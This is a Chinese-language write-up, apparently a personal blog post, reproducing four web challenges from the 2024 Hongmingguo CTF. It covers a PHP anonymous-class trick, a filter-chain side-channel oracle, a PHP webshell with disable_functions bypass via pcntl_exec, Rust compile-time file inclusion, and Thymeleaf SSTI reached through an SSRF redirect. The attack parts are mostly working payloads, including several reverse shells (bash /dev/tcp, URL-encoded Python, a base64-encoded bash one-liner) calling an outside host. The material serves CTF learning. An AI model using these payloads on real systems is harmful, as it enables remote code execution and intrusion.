红明谷CTF 2024 复现

打这个之前不知道没有二进制,组了个队三个人就我一个web手,就我能做,而且碰巧那天有事,就没搞。

image.png

源码:

链接: https://pan.baidu.com/s/1UyPxdLbXr6ZxwG0zhwP_KA 提取码: flag
From 公众号:大头Sec

ezphp

环境搭建

1
docker run -itd -p 1238:80 php:8.3.2-apache # 这个会自动拉取

然后将相关文件拖到/var/www/html下即可。
然后写一个flag

1
echo "flag{test_flag" > /flag

复现

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>

做的时候犯蠢了,之前就遇到过这个侧信道,但是测试的时候有的时候行有的时候不行,后来才知道windows系统似乎不行,而且再加上时不时的抽风就没做.

GitHub - synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.

这里的这个必须要把参数带上才能打,晕了。😵
侧信道:

1
python .\filters_chain_oracle_exploit.py --target http://localhost:1238/ --parameter f --file flag.php --time_based_attack True --match "Allowed memory size"

注意到:
image.png
需要传参ezphpPhp8才能看到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}

function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

题目提示了8.3.2版本,直接去看的changelog

PHP: PHP 8 ChangeLog

image.png
调用匿名类。
这是匿名类相关的知识点:

1
2
3
$obj=new class{};
// class名为: 'class@anonymous'+chr(0)+php文件路径+行数$列数
echo get_class($obj);

可以开个环境来get_class获取一下类名:
比如:
image.png
这里windows的结果似乎和linux不同。所以可以用linux再测一下:
image.png
payload:ezphpPhp8=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240
似乎环境会被打崩,所以要一次成。否则需要爆破列数(这是为什么)

unauth

环境搭建

和上题目类似

1
2
docker run -itd -p 1238:80 php:8.3.2-apache # 这个会自动拉取
echo "flag{This_is_a_test_flag}" > /flag

将源码拖入
这里需要改一下flag的权限。

1
chmod 000 /flag

不能直接读,而且要在php.ini中配置下这个。

1
disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink
1
sed -i 's/^disable_functions =.*/disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,putenv,mail,chroot,chgrp,dl,readlink/' /usr/local/etc/php/php.ini

然后重启服务或者container即可。

复现

扫之后发现www.zip中间有admin的密码:
image.png

1
[2022-01-01 12:34:56]  Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036

还存在config.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.

# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled

# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165';

# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';

# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

# Default security level
# Default value for the secuirty level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';

# Default PHPIDS status
# PHPIDS status with each session.
# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';

# Verbose PHPIDS messages
# Enabling this will show why the WAF blocked the request on the blocked request.
# The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';

if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

登录之后就有一句话木马,密码cmd。
但是ban了很多函数。
看了wp发现可以用highlight_file读取php的php.ini

1
2
# highlight_file("/usr/local/etc/php/php.ini");
disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink

这里还可以用pcntl_exec这个函数命令执行。
然后反弹shell出来即可
这里我用的这个payload,但是不知道为什么会报错500,但是接到了shell。

1
2
3
$sock=fsockopen("xxx",8888);`bash <&3 >&3 2>&3`;
# 注意全部url编码一次
%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%78%78%78%22%2c%38%38%38%38%29%3b%60%62%61%73%68%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%60%3b

看了别人的payload用的这个:

1
/?cmd=%70%63%6e%74%6c%5f%65%78%65%63%28%22%2f%75%73%72%2f%62%69%6e%2f%70%79%74%68%6f%6e%22%2c%61%72%72%61%79%28%27%2d%63%27%2c%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%73%6f%63%6b%65%74%2e%53%4f%4c%5f%54%43%50%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%2e%31%2e%31%2e%31%22%2c%32%39%39%39%39%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%62%61%73%68%22%2c%22%2d%69%22%5d%29%3b%27%29%29%3b

用这个反倒接不到shell了😵。

1
pcntl_exec("/bin/bash",array("-c","bash -i >& /dev/tcp/ip/port 0>&1"),array());

不知道为什么这个本地测试的时候也不行,离谱。
需要先su提权,然后之前那个config.inc.php里就是admin密码,需要用python虚拟化一个终端出来:

Linux提权姿势总结|原创 - FreeBuf网络安全行业门户

1
python -c '__import__("pty").spawn("/bin/bash")'

playground

环境搭半天搭不起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();

}

方式一

/rust_code传入的date都会被编译根据大头的wp是编译报错包含读flag

1
2
3
4
5
6
POST /rust_code HTTP/1.1
Host: eci-2ze7qox8oygjcap3uy31.cloudeci1.ichunqiu.com:8000
Content-Length: 17
Content-Type: application/x-www-form-urlencoded

include!("/flag")

方法二

【Web】2024红明谷CTF初赛个人wp(2/4)_红明谷初赛2024-web-CSDN博客

1
2
3
4
5
6
7
8
extern "C"{
fn system(cmd: *const u8) -> i32;
}
fn main(){
unsafe{
system("cat /flag".as_ptr());
}
}

放入请求体即可:
image.png

Simp1escape

302跳转结合Thymeleaf SSTI

1
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'>

image.png
服务器上跑Flask重定向到127.0.0.1:8080

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect, url_for, render_template, request
app = Flask(__name__)

@app.route('/', methods=['POST', 'GET'])
def login():
exp = "%3c%61%20%74%68%3a%68%72%65%66%3d%22%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4c%6a%45%75%4d%53%34%78%4c%7a%49%35%4f%54%6b%35%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%7d%22%20%74%68%3a%74%69%74%6c%65%3d%27%70%65%70%69%74%6f%27%3e"
return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}");

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)

然后curl接口ssrf

1
/curl?url=http://xxx:5000/

监听反弹shell。即可:
image.png
还说可以用DNS重绑定绕过,但是我太菜了,后面再研究。
这是大头的payload:

1
/curl?url=http%3A%2F%2Fxxx.ceye.io%3A8080%2Fgetsites%3Fhostname%3D%253c%2561%2520%2574%2568%253a%2568%2572%2565%2566%253d%2522%2524%257b%2527%2527%252e%2567%2565%2574%2543%256c%2561%2573%2573%2528%2529%252e%2566%256f%2572%254e%2561%256d%2565%2528%2527%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2552%2575%256e%2574%2569%256d%2565%2527%2529%252e%2567%2565%2574%2552%2575%256e%2574%2569%256d%2565%2528%2529%252e%2565%2578%2565%2563%2528%2527%2562%2561%2573%2568%2520%252d%2563%2520%257b%2565%2563%2568%256f%252c%2559%256d%2546%257a%2561%2543%2541%2574%2561%2553%2541%252b%254a%2569%2541%2576%255a%2547%2556%2532%254c%2533%2552%256a%2563%2543%2538%2578%254c%256a%2545%2575%254d%2553%2534%2578%254c%257a%2549%2535%254f%2554%256b%2535%2549%2544%2541%252b%254a%256a%2545%253d%257d%257c%257b%2562%2561%2573%2565%2536%2534%252c%252d%2564%257d%257c%257b%2562%2561%2573%2568%252c%252d%2569%257d%2527%2529%257d%2522%2520%2574%2568%253a%2574%2569%2574%256c%2565%253d%2527%2570%2565%2570%2569%2574%256f%2527%253e

总结

到实验室已经就剩一小时了,再加上环境的逆天问题,但更主要是我菜死了。后面还得把thymyleaf啥的研究了,这java真学不懂一点。